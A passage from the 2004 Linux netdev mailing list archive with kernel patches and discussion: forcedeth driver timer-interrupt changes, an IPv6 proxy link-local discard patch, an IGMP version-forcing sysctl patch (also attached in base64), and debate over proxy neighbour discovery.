* DEV_NEED_TIMERIRQ will not harm you on sane hardware, only generating a few + * superfluous timer interrupts from the nic. */ -#define FORCEDETH_VERSION "0.19" +#define FORCEDETH_VERSION "0.22" #include #include @@ -104,6 +112,7 @@ #define DEV_NEED_LASTPACKET1 0x0001 #define DEV_IRQMASK_1 0x0002 #define DEV_IRQMASK_2 0x0004 +#define DEV_NEED_TIMERIRQ 0x0008 enum { NvRegIrqStatus = 0x000, @@ -124,7 +133,12 @@ NvRegUnknownSetupReg6 = 0x008, #define NVREG_UNKSETUP6_VAL 3 +/* + * NVREG_POLL_DEFAULT is the interval length of the timer source on the nic + * NVREG_POLL_DEFAULT=97 would result in an interval length of 1 ms + */ NvRegPollingInterval = 0x00c, +#define NVREG_POLL_DEFAULT 970 NvRegMisc1 = 0x080, #define NVREG_MISC1_HD 0x02 #define NVREG_MISC1_FORCE 0x3b0f3c @@ -1185,6 +1199,7 @@ writel(NVREG_RNDSEED_FORCE | (i&NVREG_RNDSEED_MASK), base + NvRegRandomSeed); writel(NVREG_UNKSETUP1_VAL, base + NvRegUnknownSetupReg1); writel(NVREG_UNKSETUP2_VAL, base + NvRegUnknownSetupReg2); + writel(NVREG_POLL_DEFAULT, base + NvRegPollingInterval); writel(NVREG_UNKSETUP6_VAL, base + NvRegUnknownSetupReg6); writel((np->phyaddr << NVREG_ADAPTCTL_PHYSHIFT)|NVREG_ADAPTCTL_PHYVALID, base + NvRegAdapterControl); @@ -1248,6 +1263,7 @@ static int close(struct net_device *dev) { struct fe_priv *np = get_nvpriv(dev); + u8 *base; spin_lock_irq(&np->lock); np->in_shutdown = 1; @@ -1261,6 +1277,13 @@ spin_lock_irq(&np->lock); stop_tx(dev); stop_rx(dev); + base = get_hwbase(dev); + + /* disable interrupts on the nic or we will lock up */ + writel(0, base + NvRegIrqMask); + pci_push(base); + dprintk(KERN_INFO "%s: Irqmask is zero again\n", dev->name); + spin_unlock_irq(&np->lock); free_irq(dev->irq, dev); @@ -1393,6 +1416,8 @@ np->irqmask = NVREG_IRQMASK_WANTED_1; if (id->driver_data & DEV_IRQMASK_2) np->irqmask = NVREG_IRQMASK_WANTED_2; + if (id->driver_data & DEV_NEED_TIMERIRQ) + np->irqmask |= NVREG_IRQ_TIMER; err = register_netdev(dev); if (err) { @@ -1450,21 +1475,21 @@ .device = 0x1C3, .subvendor = PCI_ANY_ID, .subdevice = PCI_ANY_ID, - .driver_data = DEV_IRQMASK_1, + .driver_data = DEV_IRQMASK_1|DEV_NEED_TIMERIRQ, }, { /* nForce2 Ethernet Controller */ .vendor = PCI_VENDOR_ID_NVIDIA, .device = 0x0066, .subvendor = PCI_ANY_ID, .subdevice = PCI_ANY_ID, - .driver_data = DEV_NEED_LASTPACKET1|DEV_IRQMASK_2, + .driver_data = DEV_NEED_LASTPACKET1|DEV_IRQMASK_2|DEV_NEED_TIMERIRQ, }, { /* nForce3 Ethernet Controller */ .vendor = PCI_VENDOR_ID_NVIDIA, .device = 0x00D6, .subvendor = PCI_ANY_ID, .subdevice = PCI_ANY_ID, - .driver_data = DEV_NEED_LASTPACKET1|DEV_IRQMASK_2, + .driver_data = DEV_NEED_LASTPACKET1|DEV_IRQMASK_2|DEV_NEED_TIMERIRQ, }, {0,}, }; --------------030803080205040107090208-- From rask@sygehus.dk Tue Jan 27 05:30:19 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 27 Jan 2004 05:30:33 -0800 (PST) Received: from 0x53585799.albnxx15.adsl-dhcp.tele.dk (0x53585799.albnxx15.adsl-dhcp.tele.dk [83.88.87.153]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0RDUI7J022190 for ; Tue, 27 Jan 2004 05:30:19 -0800 Received: by 0x53585799.albnxx15.adsl-dhcp.tele.dk (Postfix, from userid 500) id CF075F502; Tue, 27 Jan 2004 14:30:15 +0100 (CET) Date: Tue, 27 Jan 2004 14:30:14 +0100 From: Rask Ingemann Lambertsen To: Netdev Subject: Re: [PATCH] [2.4] forcedeth network driver Message-ID: <20040127143011.A1314@sygehus.dk> References: <4012BF44.9@colorfullife.com> <4012D3C6.1050805@pobox.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <4012D3C6.1050805@pobox.com>; from jgarzik@pobox.com on Sat, Jan 24, 2004 at 03:21:26PM -0500 X-archive-position: 2837 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rask@sygehus.dk Precedence: bulk X-list: netdev Content-Length: 1607 Lines: 47 On Sat, Jan 24, 2004 at 03:21:26PM -0500, Jeff Garzik wrote: > Manfred Spraul wrote: > > Jeff wrote: > > >>> + /* > >>> + * the packet is for us - immediately tear down the pci > >>> mapping, and > >>> + * prefetch the first cacheline of the packet. > >>> + */ > >>> + pci_unmap_single(np->pci_dev, np->rx_dma[i], > >>> + np->rx_skbuff[i]->len, > >>> + PCI_DMA_FROMDEVICE); > >>> + prefetch(np->rx_skbuff[i]->data); > >> > >> > >> is this just guessing? or has this actually shown some value? > >> > >> I would prefer not to put stuff like this in unless it shows a > >> measureable CPU usage or cache miss impact. > >> > >> > > Just guessing - it shouldn't hurt. CPU usage won't be important until > > nForce supports GigE. Should I remove it for now? > > I would rather remove it. "premature optimization" and all that. > Otherwise this guess will be cut-n-pasted into other drivers, I > guarantee, all without any verification of the guess... :) There was a thread about using prefetch() on netdev or linux-net. The idea is to have the Ethernet header prefetched by the time eth_type_trans() needs it. > >> bug #2: need a minimum bound for the MTU as well > >> > >> > > What is the minimum MTU? I remember a flamewar lkml about 200 byte MTU > > for noisy radio links. > > Usually the ethernet standard 60 is fine. Minimum MTU != minimum frame length. An MTU of 0 should work fine. It is just not very useful in most cases to send just the Ethernet header but no payload. -- Regards, Rask Ingemann Lambertsen From vnuorval@tcs.hut.fi Tue Jan 27 13:11:22 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 27 Jan 2004 13:11:27 -0800 (PST) Received: from neon.tcs.hut.fi (neon.tcs.hut.fi [130.233.215.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0RLBL7J002638 for ; Tue, 27 Jan 2004 13:11:21 -0800 Received: from rhea.tcs.hut.fi (rhea.tcs.hut.fi [130.233.215.147]) by neon.tcs.hut.fi (Postfix) with ESMTP id 7F9528000AD; Tue, 27 Jan 2004 23:11:20 +0200 (EET) Received: from rhea.tcs.hut.fi (localhost [127.0.0.1]) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.6) with ESMTP id i0RLBK7Y028499; Tue, 27 Jan 2004 23:11:20 +0200 Received: from localhost (vnuorval@localhost) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.6) with ESMTP id i0RLBKQK028495; Tue, 27 Jan 2004 23:11:20 +0200 Date: Tue, 27 Jan 2004 23:11:20 +0200 (EET) From: Ville Nuorvala To: davem@redhat.com, yoshfuji@linux-ipv6.org Cc: Pekka Savola , usagi-core@linux-ipv6.org, netdev@oss.sgi.com Subject: Re: [PATCH|RFC] IPv6: have a proxy discard link-local traffic In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2839 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vnuorval@tcs.hut.fi Precedence: bulk X-list: netdev Content-Length: 2118 Lines: 55 On Sat, 17 Jan 2004, Pekka Savola wrote: > > Since the Thaler proxy clearly needs some other forwarding function than > > ip6_forward(), my proposed patch doesn't affect its behavior in any way. > > Ok, if your modification is in ip6_forward() (I didn't check), I guess > it would OK, with a sufficient comment to bring up that a future > implementation might treat link-local proxying differently. Dave, since even Pekka is now convinced this patch doesn't break anything, would you consider applying it? :) Slightly (cleaned up version of) patch below. Thanks, Ville # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1521 -> 1.1522 # net/ipv6/ip6_output.c 1.49 -> 1.50 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 04/01/27 vnuorval@dsl-hkigw1o3c.dial.inet.fi 1.1522 # The MIPv6 specification requires we send an ICMPv6 Destination Unreachable, # Address Unreachable, message in response to traffic to a proxied link-local address # -------------------------------------------- # diff -Nru a/net/ipv6/ip6_output.c b/net/ipv6/ip6_output.c --- a/net/ipv6/ip6_output.c Tue Jan 27 22:05:56 2004 +++ b/net/ipv6/ip6_output.c Tue Jan 27 22:05:56 2004 @@ -385,6 +385,15 @@ if (!xfrm6_route_forward(skb)) goto drop; + /* The proxying router can't forward traffic sent to a link-local + address, so signal the sender and discard the packet. This + behavior is required by the MIPv6 specification. */ + + if (ipv6_addr_type(&hdr->daddr) & IPV6_ADDR_LINKLOCAL && + skb->dev && pneigh_lookup(&nd_tbl, &hdr->daddr, skb->dev, 0)) { + dst_link_failure(skb); + goto drop; + } /* IPv6 specs say nothing about it, but it is clear that we cannot send redirects to source routed frames. */ -- Ville Nuorvala Research Assistant, Institute of Digital Communications, Helsinki University of Technology email: vnuorval@tcs.hut.fi, phone: +358 (0)9 451 5257 From dlstevens@us.ibm.com Tue Jan 27 13:14:34 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 27 Jan 2004 13:14:37 -0800 (PST) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0RLEV7J003442 for ; Tue, 27 Jan 2004 13:14:34 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i0RLDt4E179502; Tue, 27 Jan 2004 16:14:05 -0500 Received: from d03nm121.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0RLDiR0039960; Tue, 27 Jan 2004 14:13:44 -0700 Importance: Normal Sensitivity: Subject: sysctl variable to force IGMP version [PATCH] To: davem@redhat.com, netdev@oss.sgi.com X-Mailer: Lotus Notes Release 5.0.4a July 24, 2000 Message-ID: From: David Stevens Date: Tue, 27 Jan 2004 14:13:41 -0700 X-MIMETrack: Serialize by Router on D03NM121/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 01/27/2004 14:13:44 MIME-Version: 1.0 Content-type: multipart/mixed; Boundary="0__=07BBE4BBDFE06D6F8f9e8a93df938690918c07BBE4BBDFE06D6F" X-archive-position: 2840 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dlstevens@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 12152 Lines: 251 --0__=07BBE4BBDFE06D6F8f9e8a93df938690918c07BBE4BBDFE06D6F Content-type: multipart/alternative; Boundary="1__=07BBE4BBDFE06D6F8f9e8a93df938690918c07BBE4BBDFE06D6F" --1__=07BBE4BBDFE06D6F8f9e8a93df938690918c07BBE4BBDFE06D6F Content-type: text/plain; charset=US-ASCII Below is a patch that allows forcing of the IGMP version. The primary use would be with an IGMP-snooping switch that doesn't grok IGMPv3 packet formats and when there are no IGMPv2 or IGMPv1 multicast routers on the network. By forcing the IGMP reports to version 2 (or version 1, for really old switches), Linux would send reports that the switch can understand for multicast forwarding to the port. +-DLS in-line and attached, for whitespace issues. diff -ruN linux-2.6.2-rc1/include/linux/inetdevice.h linux-2.6.2-rc1F2/include/linux/inetdevice.h --- linux-2.6.2-rc1/include/linux/inetdevice.h 2004-01-08 22:59:45.000000000 -0800 +++ linux-2.6.2-rc1F2/include/linux/inetdevice.h 2004-01-23 14:55:52.000000000 -0800 @@ -21,6 +21,7 @@ int medium_id; int no_xfrm; int no_policy; + int force_igmp_version; void *sysctl; }; diff -ruN linux-2.6.2-rc1/include/linux/sysctl.h linux-2.6.2-rc1F2/include/linux/sysctl.h --- linux-2.6.2-rc1/include/linux/sysctl.h 2004-01-21 14:03:34.000000000 -0800 +++ linux-2.6.2-rc1F2/include/linux/sysctl.h 2004-01-23 14:55:52.000000000 -0800 @@ -360,6 +360,7 @@ NET_IPV4_CONF_MEDIUM_ID=14, NET_IPV4_CONF_NOXFRM=15, NET_IPV4_CONF_NOPOLICY=16, + NET_IPV4_CONF_FORCE_IGMP_VERSION=17, }; /* /proc/sys/net/ipv4/netfilter */ diff -ruN linux-2.6.2-rc1/net/ipv4/devinet.c linux-2.6.2-rc1F2/net/ipv4/devinet.c --- linux-2.6.2-rc1/net/ipv4/devinet.c 2004-01-21 14:03:35.000000000 -0800 +++ linux-2.6.2-rc1F2/net/ipv4/devinet.c 2004-01-26 16:34:31.000000000 -0800 @@ -1132,7 +1132,7 @@ static struct devinet_sysctl_table { struct ctl_table_header *sysctl_header; - ctl_table devinet_vars[17]; + ctl_table devinet_vars[18]; ctl_table devinet_dev[2]; ctl_table devinet_conf_dir[2]; ctl_table devinet_proto_dir[2]; @@ -1269,6 +1269,15 @@ .proc_handler = &ipv4_doint_and_flush, .strategy = &ipv4_doint_and_flush_strategy, }, + { + .ctl_name = NET_IPV4_CONF_FORCE_IGMP_VERSION, + .procname = "force_igmp_version", + .data = &ipv4_devconf.force_igmp_version, + .maxlen = sizeof(int), + .mode = 0644, + .proc_handler = &ipv4_doint_and_flush, + .strategy = &ipv4_doint_and_flush_strategy, + }, }, .devinet_dev = { { diff -ruN linux-2.6.2-rc1/net/ipv4/igmp.c linux-2.6.2-rc1F2/net/ipv4/igmp.c --- linux-2.6.2-rc1/net/ipv4/igmp.c 2004-01-21 14:03:35.000000000 -0800 +++ linux-2.6.2-rc1F2/net/ipv4/igmp.c 2004-01-26 17:18:28.000000000 -0800 @@ -126,10 +126,14 @@ * contradict to specs provided this delay is small enough. */ -#define IGMP_V1_SEEN(in_dev) ((in_dev)->mr_v1_seen && \ - time_before(jiffies, (in_dev)->mr_v1_seen)) -#define IGMP_V2_SEEN(in_dev) ((in_dev)->mr_v2_seen && \ - time_before(jiffies, (in_dev)->mr_v2_seen)) +#define IGMP_V1_SEEN(in_dev) (ipv4_devconf.force_igmp_version == 1 || \ + (in_dev)->cnf.force_igmp_version == 1 || \ + ((in_dev)->mr_v1_seen && \ + time_before(jiffies, (in_dev)->mr_v1_seen))) +#define IGMP_V2_SEEN(in_dev) (ipv4_devconf.force_igmp_version == 2 || \ + (in_dev)->cnf.force_igmp_version == 2 || \ + ((in_dev)->mr_v2_seen && \ + time_before(jiffies, (in_dev)->mr_v2_seen))) static void igmpv3_add_delrec(struct in_device *in_dev, struct ip_mc_list *im); static void igmpv3_del_delrec(struct in_device *in_dev, __u32 multiaddr); (See attached file: igmpsysctl.patch) --1__=07BBE4BBDFE06D6F8f9e8a93df938690918c07BBE4BBDFE06D6F Content-type: text/html; charset=US-ASCII Content-Disposition: inline

Below is a patch that allows forcing of the IGMP version. The primary
use would be with an IGMP-snooping switch that doesn't grok IGMPv3
packet formats and when there are no IGMPv2 or IGMPv1 multicast
routers on the network. By forcing the IGMP reports to version 2 (or
version 1, for really old switches), Linux would send reports that the
switch can understand for multicast forwarding to the port.

+-DLS

in-line and attached, for whitespace issues.

diff -ruN linux-2.6.2-rc1/include/linux/inetdevice.h linux-2.6.2-rc1F2/include/linux/inetdevice.h
--- linux-2.6.2-rc1/include/linux/inetdevice.h 2004-01-08 22:59:45.000000000 -0800
+++ linux-2.6.2-rc1F2/include/linux/inetdevice.h 2004-01-23 14:55:52.000000000 -0800
@@ -21,6 +21,7 @@
int medium_id;
int no_xfrm;
int no_policy;
+ int force_igmp_version;
void *sysctl;
};

diff -ruN linux-2.6.2-rc1/include/linux/sysctl.h linux-2.6.2-rc1F2/include/linux/sysctl.h
--- linux-2.6.2-rc1/include/linux/sysctl.h 2004-01-21 14:03:34.000000000 -0800
+++ linux-2.6.2-rc1F2/include/linux/sysctl.h 2004-01-23 14:55:52.000000000 -0800
@@ -360,6 +360,7 @@
NET_IPV4_CONF_MEDIUM_ID=14,
NET_IPV4_CONF_NOXFRM=15,
NET_IPV4_CONF_NOPOLICY=16,
+ NET_IPV4_CONF_FORCE_IGMP_VERSION=17,
};

/* /proc/sys/net/ipv4/netfilter */
diff -ruN linux-2.6.2-rc1/net/ipv4/devinet.c linux-2.6.2-rc1F2/net/ipv4/devinet.c
--- linux-2.6.2-rc1/net/ipv4/devinet.c 2004-01-21 14:03:35.000000000 -0800
+++ linux-2.6.2-rc1F2/net/ipv4/devinet.c 2004-01-26 16:34:31.000000000 -0800
@@ -1132,7 +1132,7 @@

static struct devinet_sysctl_table {
struct ctl_table_header *sysctl_header;
- ctl_table devinet_vars[17];
+ ctl_table devinet_vars[18];
ctl_table devinet_dev[2];
ctl_table devinet_conf_dir[2];
ctl_table devinet_proto_dir[2];
@@ -1269,6 +1269,15 @@
.proc_handler = &ipv4_doint_and_flush,
.strategy = &ipv4_doint_and_flush_strategy,
},
+ {
+ .ctl_name = NET_IPV4_CONF_FORCE_IGMP_VERSION,
+ .procname = "force_igmp_version",
+ .data = &ipv4_devconf.force_igmp_version,
+ .maxlen = sizeof(int),
+ .mode = 0644,
+ .proc_handler = &ipv4_doint_and_flush,
+ .strategy = &ipv4_doint_and_flush_strategy,
+ },
},
.devinet_dev = {
{
diff -ruN linux-2.6.2-rc1/net/ipv4/igmp.c linux-2.6.2-rc1F2/net/ipv4/igmp.c
--- linux-2.6.2-rc1/net/ipv4/igmp.c 2004-01-21 14:03:35.000000000 -0800
+++ linux-2.6.2-rc1F2/net/ipv4/igmp.c 2004-01-26 17:18:28.000000000 -0800
@@ -126,10 +126,14 @@
* contradict to specs provided this delay is small enough.
*/

-#define IGMP_V1_SEEN(in_dev) ((in_dev)->mr_v1_seen && \
- time_before(jiffies, (in_dev)->mr_v1_seen))
-#define IGMP_V2_SEEN(in_dev) ((in_dev)->mr_v2_seen && \
- time_before(jiffies, (in_dev)->mr_v2_seen))
+#define IGMP_V1_SEEN(in_dev) (ipv4_devconf.force_igmp_version == 1 || \
+ (in_dev)->cnf.force_igmp_version == 1 || \
+ ((in_dev)->mr_v1_seen && \
+ time_before(jiffies, (in_dev)->mr_v1_seen)))
+#define IGMP_V2_SEEN(in_dev) (ipv4_devconf.force_igmp_version == 2 || \
+ (in_dev)->cnf.force_igmp_version == 2 || \
+ ((in_dev)->mr_v2_seen && \
+ time_before(jiffies, (in_dev)->mr_v2_seen)))

static void igmpv3_add_delrec(struct in_device *in_dev, struct ip_mc_list *im);
static void igmpv3_del_delrec(struct in_device *in_dev, __u32 multiaddr);

(See attached file: igmpsysctl.patch)
--1__=07BBE4BBDFE06D6F8f9e8a93df938690918c07BBE4BBDFE06D6F-- --0__=07BBE4BBDFE06D6F8f9e8a93df938690918c07BBE4BBDFE06D6F Content-type: application/octet-stream; name="igmpsysctl.patch" Content-Disposition: attachment; filename="igmpsysctl.patch" Content-ID: <10__=07BBE4BBDFE06D6F8f9e8a93df938@us.ibm.com> Content-transfer-encoding: base64 ZGlmZiAtcnVOIGxpbnV4LTIuNi4yLXJjMS9pbmNsdWRlL2xpbnV4L2luZXRkZXZpY2UuaCBsaW51 eC0yLjYuMi1yYzFGMi9pbmNsdWRlL2xpbnV4L2luZXRkZXZpY2UuaAotLS0gbGludXgtMi42LjIt cmMxL2luY2x1ZGUvbGludXgvaW5ldGRldmljZS5oCTIwMDQtMDEtMDggMjI6NTk6NDUuMDAwMDAw MDAwIC0wODAwCisrKyBsaW51eC0yLjYuMi1yYzFGMi9pbmNsdWRlL2xpbnV4L2luZXRkZXZpY2Uu aAkyMDA0LTAxLTIzIDE0OjU1OjUyLjAwMDAwMDAwMCAtMDgwMApAQCAtMjEsNiArMjEsNyBAQAog CWludAltZWRpdW1faWQ7CiAJaW50CW5vX3hmcm07CiAJaW50CW5vX3BvbGljeTsKKwlpbnQJZm9y Y2VfaWdtcF92ZXJzaW9uOwogCXZvaWQJKnN5c2N0bDsKIH07CiAKZGlmZiAtcnVOIGxpbnV4LTIu Ni4yLXJjMS9pbmNsdWRlL2xpbnV4L3N5c2N0bC5oIGxpbnV4LTIuNi4yLXJjMUYyL2luY2x1ZGUv bGludXgvc3lzY3RsLmgKLS0tIGxpbnV4LTIuNi4yLXJjMS9pbmNsdWRlL2xpbnV4L3N5c2N0bC5o CTIwMDQtMDEtMjEgMTQ6MDM6MzQuMDAwMDAwMDAwIC0wODAwCisrKyBsaW51eC0yLjYuMi1yYzFG Mi9pbmNsdWRlL2xpbnV4L3N5c2N0bC5oCTIwMDQtMDEtMjMgMTQ6NTU6NTIuMDAwMDAwMDAwIC0w ODAwCkBAIC0zNjAsNiArMzYwLDcgQEAKIAlORVRfSVBWNF9DT05GX01FRElVTV9JRD0xNCwKIAlO RVRfSVBWNF9DT05GX05PWEZSTT0xNSwKIAlORVRfSVBWNF9DT05GX05PUE9MSUNZPTE2LAorCU5F VF9JUFY0X0NPTkZfRk9SQ0VfSUdNUF9WRVJTSU9OPTE3LAogfTsKIAogLyogL3Byb2Mvc3lzL25l dC9pcHY0L25ldGZpbHRlciAqLwpkaWZmIC1ydU4gbGludXgtMi42LjItcmMxL25ldC9pcHY0L2Rl dmluZXQuYyBsaW51eC0yLjYuMi1yYzFGMi9uZXQvaXB2NC9kZXZpbmV0LmMKLS0tIGxpbnV4LTIu Ni4yLXJjMS9uZXQvaXB2NC9kZXZpbmV0LmMJMjAwNC0wMS0yMSAxNDowMzozNS4wMDAwMDAwMDAg LTA4MDAKKysrIGxpbnV4LTIuNi4yLXJjMUYyL25ldC9pcHY0L2RldmluZXQuYwkyMDA0LTAxLTI2 IDE2OjM0OjMxLjAwMDAwMDAwMCAtMDgwMApAQCAtMTEzMiw3ICsxMTMyLDcgQEAKIAogc3RhdGlj IHN0cnVjdCBkZXZpbmV0X3N5c2N0bF90YWJsZSB7CiAJc3RydWN0IGN0bF90YWJsZV9oZWFkZXIg KnN5c2N0bF9oZWFkZXI7Ci0JY3RsX3RhYmxlCQlkZXZpbmV0X3ZhcnNbMTddOworCWN0bF90YWJs ZQkJZGV2aW5ldF92YXJzWzE4XTsKIAljdGxfdGFibGUJCWRldmluZXRfZGV2WzJdOwogCWN0bF90 YWJsZQkJZGV2aW5ldF9jb25mX2RpclsyXTsKIAljdGxfdGFibGUJCWRldmluZXRfcHJvdG9fZGly WzJdOwpAQCAtMTI2OSw2ICsxMjY5LDE1IEBACiAJCQkucHJvY19oYW5kbGVyCT0gJmlwdjRfZG9p bnRfYW5kX2ZsdXNoLAogCQkJLnN0cmF0ZWd5CT0gJmlwdjRfZG9pbnRfYW5kX2ZsdXNoX3N0cmF0 ZWd5LAogCQl9LAorCQl7CisJCQkuY3RsX25hbWUJPSBORVRfSVBWNF9DT05GX0ZPUkNFX0lHTVBf VkVSU0lPTiwKKwkJCS5wcm9jbmFtZQk9ICJmb3JjZV9pZ21wX3ZlcnNpb24iLAorCQkJLmRhdGEJ CT0gJmlwdjRfZGV2Y29uZi5mb3JjZV9pZ21wX3ZlcnNpb24sCisJCQkubWF4bGVuCQk9IHNpemVv ZihpbnQpLAorCQkJLm1vZGUJCT0gMDY0NCwKKwkJCS5wcm9jX2hhbmRsZXIJPSAmaXB2NF9kb2lu dF9hbmRfZmx1c2gsCisJCQkuc3RyYXRlZ3kJPSAmaXB2NF9kb2ludF9hbmRfZmx1c2hfc3RyYXRl Z3ksCisJCX0sCiAJfSwKIAkuZGV2aW5ldF9kZXYgPSB7CiAJCXsKZGlmZiAtcnVOIGxpbnV4LTIu Ni4yLXJjMS9uZXQvaXB2NC9pZ21wLmMgbGludXgtMi42LjItcmMxRjIvbmV0L2lwdjQvaWdtcC5j Ci0tLSBsaW51eC0yLjYuMi1yYzEvbmV0L2lwdjQvaWdtcC5jCTIwMDQtMDEtMjEgMTQ6MDM6MzUu MDAwMDAwMDAwIC0wODAwCisrKyBsaW51eC0yLjYuMi1yYzFGMi9uZXQvaXB2NC9pZ21wLmMJMjAw NC0wMS0yNiAxNzoxODoyOC4wMDAwMDAwMDAgLTA4MDAKQEAgLTEyNiwxMCArMTI2LDE0IEBACiAg KiBjb250cmFkaWN0IHRvIHNwZWNzIHByb3ZpZGVkIHRoaXMgZGVsYXkgaXMgc21hbGwgZW5vdWdo LgogICovCiAKLSNkZWZpbmUgSUdNUF9WMV9TRUVOKGluX2RldikgKChpbl9kZXYpLT5tcl92MV9z ZWVuICYmIFwKLQkJdGltZV9iZWZvcmUoamlmZmllcywgKGluX2RldiktPm1yX3YxX3NlZW4pKQot I2RlZmluZSBJR01QX1YyX1NFRU4oaW5fZGV2KSAoKGluX2RldiktPm1yX3YyX3NlZW4gJiYgXAot CQl0aW1lX2JlZm9yZShqaWZmaWVzLCAoaW5fZGV2KS0+bXJfdjJfc2VlbikpCisjZGVmaW5lIElH TVBfVjFfU0VFTihpbl9kZXYpIChpcHY0X2RldmNvbmYuZm9yY2VfaWdtcF92ZXJzaW9uID09IDEg fHwgXAorCQkoaW5fZGV2KS0+Y25mLmZvcmNlX2lnbXBfdmVyc2lvbiA9PSAxIHx8IFwKKwkJKChp bl9kZXYpLT5tcl92MV9zZWVuICYmIFwKKwkJdGltZV9iZWZvcmUoamlmZmllcywgKGluX2Rldikt Pm1yX3YxX3NlZW4pKSkKKyNkZWZpbmUgSUdNUF9WMl9TRUVOKGluX2RldikgKGlwdjRfZGV2Y29u Zi5mb3JjZV9pZ21wX3ZlcnNpb24gPT0gMiB8fCBcCisJCShpbl9kZXYpLT5jbmYuZm9yY2VfaWdt cF92ZXJzaW9uID09IDIgfHwgXAorCQkoKGluX2RldiktPm1yX3YyX3NlZW4gJiYgXAorCQl0aW1l X2JlZm9yZShqaWZmaWVzLCAoaW5fZGV2KS0+bXJfdjJfc2VlbikpKQogCiBzdGF0aWMgdm9pZCBp Z21wdjNfYWRkX2RlbHJlYyhzdHJ1Y3QgaW5fZGV2aWNlICppbl9kZXYsIHN0cnVjdCBpcF9tY19s aXN0ICppbSk7CiBzdGF0aWMgdm9pZCBpZ21wdjNfZGVsX2RlbHJlYyhzdHJ1Y3QgaW5fZGV2aWNl ICppbl9kZXYsIF9fdTMyIG11bHRpYWRkcik7Cg== --0__=07BBE4BBDFE06D6F8f9e8a93df938690918c07BBE4BBDFE06D6F-- From vnuorval@tcs.hut.fi Tue Jan 27 13:36:41 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 27 Jan 2004 13:36:47 -0800 (PST) Received: from neon.tcs.hut.fi (neon.tcs.hut.fi [130.233.215.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0RLaU7J004442 for ; Tue, 27 Jan 2004 13:36:31 -0800 Received: from rhea.tcs.hut.fi (rhea.tcs.hut.fi [130.233.215.147]) by neon.tcs.hut.fi (Postfix) with ESMTP id C6E558000AA; Tue, 27 Jan 2004 22:58:08 +0200 (EET) Received: from rhea.tcs.hut.fi (localhost [127.0.0.1]) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.6) with ESMTP id i0RKw87Y028445; Tue, 27 Jan 2004 22:58:08 +0200 Received: from localhost (vnuorval@localhost) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.6) with ESMTP id i0RKw29f028441; Tue, 27 Jan 2004 22:58:03 +0200 Date: Tue, 27 Jan 2004 22:58:02 +0200 (EET) From: Ville Nuorvala To: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Cc: netfilter-devel@lists.netfilter.org, davem@redhat.com, netdev@oss.sgi.com, kuznet@ms2.inr.ac.ru Subject: Re: [PATCH|RFC] IPv6 netfilter: a module for complete proxy ND support In-Reply-To: <20040116.005443.92504522.yoshfuji@linux-ipv6.org> Message-ID: References: <20040116.001317.73950271.yoshfuji@linux-ipv6.org> <20040116.005443.92504522.yoshfuji@linux-ipv6.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-15 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by oss.sgi.com id i0RLaU7J004442 X-archive-position: 2841 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vnuorval@tcs.hut.fi Precedence: bulk X-list: netdev Content-Length: 4030 Lines: 121 Hello, netdev apparently ate my reply, but let me do a recap: On Fri, 16 Jan 2004, YOSHIFUJI Hideaki / [iso-2022-jp] µÈÆ£±ÑÌÀ wrote: > So, all usage of pneigh_XXX() is not for rfc2461 but for proxy arp. > 1) We need to consider how to implement rfc2461-proxy. > 2) We need to revisit all usages in net/ipv6. No, the pneigh_XXX() *is* the way to do RFC2461 proxying :) I think Thaler's extended "proxy ARP" for IPv6 needs some other framework. I still haven't had the time to check how proxy ARP really works in IPv4, so I might have misunderstood this line in arp.c (line 763): "(arp_fwd_proxy(in_dev, rt) || pneigh_lookup(&arp_tbl, &tip, dev, 0)))) {" I think the first check is for proxy ARP, and the second for a router acting as proxy. In a similar case for IPv6, we would first need to check for the Thaler IPv6 "proxy ARP", then for the RFC2461 router as a proxy case. > > In the current implementation the proxying router captures the multicast > > queries since it has joined the solicited-node multicast group, but it > > doesn't capture the unicast queries. > > It is VERY strange to handle multicast / unicast in different way. > I really hate such a hetero (or an inconsistent) implementation. Well, we still need some way to have the router capture some packets (the unicast NS messages) it would normally forward.> > > This is what I want to fix. > > I understand the issue, but the fix is unappropriate. How about this fix? I think it's cleaner than the one I proposed earlier. The down side with it is that all nodes, no matter if they are acting as proxies or not, will have to do some extra comparisons each time they receive a packet. 